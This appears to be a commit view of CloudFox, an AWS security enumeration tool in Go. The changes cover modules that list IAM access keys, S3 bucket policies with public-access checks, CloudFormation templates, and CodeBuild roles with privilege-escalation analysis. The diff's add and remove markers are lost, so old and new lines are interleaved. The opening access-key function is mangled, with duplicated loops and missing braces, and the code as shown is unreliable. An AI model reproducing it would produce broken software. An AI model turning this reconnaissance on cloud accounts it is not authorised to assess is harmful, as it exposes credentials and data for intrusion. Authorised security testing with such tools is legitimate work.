func (m *AccessKeysModule) getAccessKeysForAllUsers() {
// The "PaginationControl" value remains true until all data is received (default is 100 results per page).
// "" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
PaginationControl := true
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for PaginationControl {
// added this to break out if there no users
if len(ListUsers) != 0 {
for _, user := range ListUsers {
IAMQuery, err := m.IAMClient.ListUsers(context.TODO(), &iam.ListUsersInput{Marker: PaginationMarker})
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
results, err := sdk.CachedIamListAccessKeys(m.IAMClient, aws.ToString(m.Caller.Account), aws.ToString(user.UserName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
// added this to break out if there no users
if len(IAMQuery.Users) == 0 {
break
}
// This for loop extracts relevant information for each access key and adds to output array
for _, key := range results {
// This for loop iterates through all users.
for PaginationControl {
PaginationMarker = nil
for _, user := range IAMQuery.Users {
results, err := m.IAMClient.ListAccessKeys(context.TODO(), &iam.ListAccessKeysInput{UserName: user.UserName, Marker: PaginationMarker})
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
if key.Status == "Active" {
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
}
// This for loop extracts relevant information for each access key and adds to output array
for _, key := range results.AccessKeyMetadata {
if key.Status == "Active" {
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
}
}
PaginationControl = results.IsTruncated
PaginationMarker = results.Marker
}
}
PaginationControl = IAMQuery.IsTruncated
PaginationMarker = IAMQuery.Marker
}
}
+136 -43
View File
@@ -1,7 +1,6 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
@@ -10,29 +9,24 @@ import (
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type S3ListBucketsAPI interface {
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
}
type BucketsModule struct {
// General configuration data
S3Client *s3.Client
//BucketsS3Client CloudFoxS3Client
S3Client sdk.AWSS3ClientInterface
AWSRegions []string
AWSProfile string
Caller sts.GetCallerIdentityOutput
// This interface is used for unit testing
S3ClientListBucketsInterface S3ListBucketsAPI
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
@@ -44,9 +38,19 @@ type BucketsModule struct {
}
type Bucket struct {
AWSService string
Region string
Name string
Arn string
AWSService string
Region string
Name string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string, verbosity int) {
@@ -61,6 +65,7 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating buckets for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
@@ -94,27 +99,49 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{"Service", "Region", "Name"}
m.output.Headers = []string{
"Name",
"Region",
"Public?",
"Resource Policy Summary",
}
// Table rows
for i := range m.Buckets {
m.output.Body = append(
m.output.Body,
[]string{
m.Buckets[i].AWSService,
m.Buckets[i].Region,
m.Buckets[i].Name,
m.Buckets[i].Region,
m.Buckets[i].IsPublic,
m.Buckets[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
////m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s buckets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Bucket policies written to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No buckets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
@@ -199,39 +226,105 @@ func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, sem
defer func() {
<-semaphore
}()
var r string = "Global"
var region string = "Global"
var name string
ListBuckets, err := m.listBuckets()
ListBuckets, err := sdk.CachedListBuckets(m.S3Client, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, bucket := range ListBuckets {
name = aws.ToString(bucket.Name)
// Send Bucket object through the channel to the receiver
dataReceiver <- Bucket{
for _, b := range ListBuckets {
bucket := &Bucket{
Name: aws.ToString(b.Name),
AWSService: "S3",
Name: name,
Region: r,
}
region, err = sdk.CachedGetBucketLocation(m.S3Client, aws.ToString(m.Caller.Account), aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
}
bucket.Region = region
policyJSON, err := sdk.CachedGetBucketPolicy(m.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
} else {
bucket.PolicyJSON = policyJSON
}
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
} else {
bucket.Policy = policy
}
bucket.IsPublic = "No"
if !bucket.Policy.IsEmpty() {
m.analyseBucketPolicy(bucket, dataReceiver)
} else {
bucket.Access = "No resource policy"
dataReceiver <- *bucket
}
// Send Bucket object through the channel to the receiver
}
}
func (m *BucketsModule) listBuckets() ([]types.Bucket, error) {
var buckets []types.Bucket
ListBuckets, err := m.S3ClientListBucketsInterface.ListBuckets(
context.TODO(),
&s3.ListBucketsInput{},
)
func (m *BucketsModule) isPublicAccessBlocked(bucketName string, r string) bool {
publicAccessBlock, err := sdk.CachedGetPublicAccessBlock(m.S3Client, aws.ToString(m.Caller.Account), r, bucketName)
if err != nil {
m.modLog.Error(err.Error())
return buckets, err
return false
}
return publicAccessBlock.IgnorePublicAcls
buckets = append(buckets, ListBuckets.Buckets...)
return buckets, nil
}
func (m *BucketsModule) analyseBucketPolicy(bucket *Bucket, dataReceiver chan Bucket) {
m.storeAccessPolicy(bucket)
if bucket.Policy.IsPublic() && !bucket.Policy.IsConditionallyPublic() && !m.isPublicAccessBlocked(bucket.Name, bucket.Region) {
bucket.IsPublic = "YES"
}
for i, statement := range bucket.Policy.Statement {
var prefix string = ""
if len(bucket.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
bucket.ResourcePolicySummary = bucket.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
bucket.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
bucket.ResourcePolicySummary = strings.TrimSuffix(bucket.ResourcePolicySummary, "\n")
}
dataReceiver <- *bucket
}
func (m *BucketsModule) storeAccessPolicy(bucket *Bucket) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", bucket.Name))
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *BucketsModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "bucket-policies")
}
func (m *BucketsModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+79 -12
View File
@@ -3,6 +3,8 @@ package aws
import (
"context"
"log"
"path/filepath"
"strings"
"testing"
"time"
@@ -11,13 +13,13 @@ import (
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
type MockedS3ListBuckets struct {
AWSRegions []string
type MockedS3Client struct {
}
func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
func (m *MockedS3Client) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
buckets := make([]types.Bucket, 1)
mockBucket := types.Bucket{
CreationDate: aws.Time(time.Now()),
@@ -31,7 +33,59 @@ func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBu
}
func (m *MockedS3Client) GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error) {
bucketPolicy := `{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AddPerm",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::examplebucket/*"
}
]
}`
output := &s3.GetBucketPolicyOutput{
Policy: aws.String(bucketPolicy),
}
return output, nil
}
func (m *MockedS3Client) GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error) {
locationConstraint := types.BucketLocationConstraint("us-east-2")
output := &s3.GetBucketLocationOutput{
LocationConstraint: locationConstraint,
}
return output, nil
}
func (m *MockedS3Client) GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error) {
output := &s3.GetPublicAccessBlockOutput{
PublicAccessBlockConfiguration: &types.PublicAccessBlockConfiguration{
BlockPublicAcls: true,
BlockPublicPolicy: true,
IgnorePublicAcls: false,
RestrictPublicBuckets: true,
},
}
return output, nil
}
func TestListBuckets(t *testing.T) {
m := BucketsModule{
S3Client: &MockedS3Client{},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
AWSProfile: "unittesting",
Goroutines: 3,
}
subtests := []struct {
name string
outputDirectory string
@@ -43,25 +97,38 @@ func TestListBuckets(t *testing.T) {
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: BucketsModule{
S3ClientListBucketsInterface: &MockedS3ListBuckets{},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
},
testModule: m,
expectedResult: []Bucket{{
Name: "mockBucket123",
}},
},
}
internal.MockFileSystem(true)
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintBuckets(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
for index, expectedBucket := range subtest.expectedResult {
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/buckets.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭───────────────┬───────────┬─────────┬───────────────────────────╮
│ Name │ Region │ Public? │ Resource Policy Summary │
├───────────────┼───────────┼─────────┼───────────────────────────┤
│ mockBucket123 │ us-east-2 │ YES │ Everyone can s3:GetObject │
╰───────────────┴───────────┴─────────┴───────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
if expectedBucket.Name != subtest.testModule.Buckets[index].Name {
log.Fatal("Bucket name does not match expected name")
}
+126
View File
@@ -0,0 +1,126 @@
package aws
import (
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
"github.com/aws/aws-sdk-go-v2/service/ecr"
"github.com/aws/aws-sdk-go-v2/service/efs"
"github.com/aws/aws-sdk-go-v2/service/fsx"
"github.com/aws/aws-sdk-go-v2/service/lambda"
"github.com/aws/aws-sdk-go-v2/service/organizations"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
func initIAMSimClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
iamSimMod := IamSimulatorModule{
IAMClient: iamSimPPClient,
Caller: caller,
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
return iamSimMod
}
func InitCloudFoxSNSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int, AWSWrapTable bool) SNSModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
cloudFoxSNSClient := SNSModule{
SNSClient: sns.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
}
return cloudFoxSNSClient
}
func initCloudFoxS3Client(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string) BucketsModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
cloudFoxS3Client := BucketsModule{
S3Client: s3.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return cloudFoxS3Client
}
func InitSQSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) SQSModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
sqsClient := SQSModule{
SQSClient: sqs.NewFromConfig(AWSConfig),
Caller: caller,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
return sqsClient
}
func InitLambdaClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) LambdasModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
lambdaClient := LambdasModule{
LambdaClient: lambda.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return lambdaClient
}
func InitCodeBuildClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) CodeBuildModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
codeBuildClient := CodeBuildModule{
CodeBuildClient: codebuild.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return codeBuildClient
}
func InitECRClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) ECRModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
ecrClient := ECRModule{
ECRClient: ecr.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return ecrClient
}
func InitFileSystemsClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) FilesystemsModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
fileSystemsClient := FilesystemsModule{
EFSClient: efs.NewFromConfig(AWSConfig),
FSxClient: fsx.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return fileSystemsClient
}
func InitOrgClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) OrgModule {
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
orgClient := OrgModule{
OrganizationsClient: organizations.NewFromConfig(AWSConfig),
Caller: caller,
AWSProfile: AWSProfile,
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
}
return orgClient
}
+24 -71
View File
@@ -1,29 +1,24 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
"github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type CloudFormationGetTemplateAPIClient interface {
GetTemplate(context.Context, *cloudformation.GetTemplateInput, ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error)
}
type CloudformationModule struct {
// General configuration data
CloudFormationDescribeStacksInterface cloudformation.DescribeStacksAPIClient
CloudFormationGetTemplateInterface CloudFormationGetTemplateAPIClient
CloudFormationClient sdk.CloudFormationClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -135,11 +130,27 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, ou
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s cloudformation stacks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No cloudformation stacks found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -150,7 +161,7 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, ou
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
if err != nil {
@@ -251,7 +262,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
}()
var stackTemplateBody string = ""
DescribeStacks, err := m.describeStacks(r)
DescribeStacks, err := sdk.CachedCloudFormationDescribeStacks(m.CloudFormationClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -263,7 +274,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
stackOutputs := stack.Outputs
stackParameters := stack.Parameters
stackTemplateBody, err = m.getTemplateBody(r, stackName)
stackTemplateBody, err = sdk.CachedCloudFormationGetTemplate(m.CloudFormationClient, aws.ToString(m.Caller.Account), r, stackName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -281,61 +292,3 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
}
}
func (m *CloudformationModule) describeStacks(r string) ([]types.Stack, error) {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var stacks []types.Stack
for {
DescribeStacks, err := m.CloudFormationDescribeStacksInterface.DescribeStacks(
context.TODO(),
&cloudformation.DescribeStacksInput{
NextToken: PaginationControl,
},
func(o *cloudformation.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return stacks, err
}
stacks = append(stacks, DescribeStacks.Stacks...)
// The "NextToken" value is nil when there's no more data to return.
if DescribeStacks.NextToken != nil {
PaginationControl = DescribeStacks.NextToken
} else {
PaginationControl = nil
break
}
}
return stacks, nil
}
func (m *CloudformationModule) getTemplateBody(r string, stackName string) (string, error) {
var stackTemplateBody string
GetTemplate, err := m.CloudFormationGetTemplateInterface.GetTemplate(
context.TODO(),
&cloudformation.GetTemplateInput{
StackName: &stackName,
},
func(o *cloudformation.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return stackTemplateBody, err
}
stackTemplateBody = aws.ToString(GetTemplate.TemplateBody)
return stackTemplateBody, nil
}
+14 -14
View File
@@ -38,15 +38,12 @@ type TemplateBody struct {
TemplateBody string `json:"TemplateBody"`
}
type MockedCloudformationClientDescribeStacks struct {
describeStacks Stacks
}
type MockedCloudformationClientGetTemplate struct {
type MockedCloudformationClient struct {
describeStacks Stacks
getTemplateBody TemplateBody
}
func (m *MockedCloudformationClientDescribeStacks) DescribeStacks(ctx context.Context, params *cloudformation.DescribeStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error) {
func (m *MockedCloudformationClient) DescribeStacks(ctx context.Context, params *cloudformation.DescribeStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error) {
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.describeStacks)
if err != nil {
@@ -66,7 +63,7 @@ func (m *MockedCloudformationClientDescribeStacks) DescribeStacks(ctx context.Co
return &cloudformation.DescribeStacksOutput{Stacks: stacks}, nil
}
func (m *MockedCloudformationClientGetTemplate) GetTemplate(ctx context.Context, params *cloudformation.GetTemplateInput, optFns ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error) {
func (m *MockedCloudformationClient) GetTemplate(ctx context.Context, params *cloudformation.GetTemplateInput, optFns ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error) {
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.getTemplateBody)
if err != nil {
log.Fatalf("can't unmarshall file %s", TEMPLATE_BODY_TEST_FILE)
@@ -75,6 +72,10 @@ func (m *MockedCloudformationClientGetTemplate) GetTemplate(ctx context.Context,
return &cloudformation.GetTemplateOutput{TemplateBody: &m.getTemplateBody.TemplateBody}, nil
}
func (m *MockedCloudformationClient) ListStacks(ctx context.Context, params *cloudformation.ListStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error) {
return &cloudformation.ListStacksOutput{}, nil
}
func TestCloudFormation(t *testing.T) {
subtests := []struct {
name string
@@ -88,13 +89,12 @@ func TestCloudFormation(t *testing.T) {
outputDirectory: ".",
verbosity: 2,
testModule: CloudformationModule{
CloudFormationDescribeStacksInterface: &MockedCloudformationClientDescribeStacks{},
CloudFormationGetTemplateInterface: &MockedCloudformationClientGetTemplate{},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
CloudFormationClient: &MockedCloudformationClient{},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
},
expectedResult: []CFStack{{
Name: "myteststack",
+252
View File
@@ -0,0 +1,252 @@
package aws
import (
"fmt"
"path/filepath"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type CodeBuildModule struct {
// General configuration data
CodeBuildClient sdk.CodeBuildClientInterface
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Main module data
Projects []Project
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Project struct {
Region string
Name string
Arn string
Role string
Admin string
CanPrivEsc string
}
func (m *CodeBuildModule) PrintCodeBuildProjects(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "codebuild"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating CodeBuild projects for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Project)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// Perform role analysis
if m.pmapperError == nil {
for i := range m.Projects {
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Projects[i].Role)
}
} else {
for i := range m.Projects {
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Projects[i].Role, m.iamSimClient, localAdminMap)
}
}
// add - if struct is not empty do this. otherwise, dont write anything.
if m.pmapperError == nil {
m.output.Headers = []string{
"Region",
"Name",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Region",
"Name",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
// Table rows
for i := range m.Projects {
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Projects[i].Region,
m.Projects[i].Name,
m.Projects[i].Role,
m.Projects[i].Admin,
m.Projects[i].CanPrivEsc,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Projects[i].Region,
m.Projects[i].Name,
m.Projects[i].Role,
m.Projects[i].Admin,
},
)
}
}
var seen []string
for _, project := range m.Projects {
if !internal.Contains(project.Name, seen) {
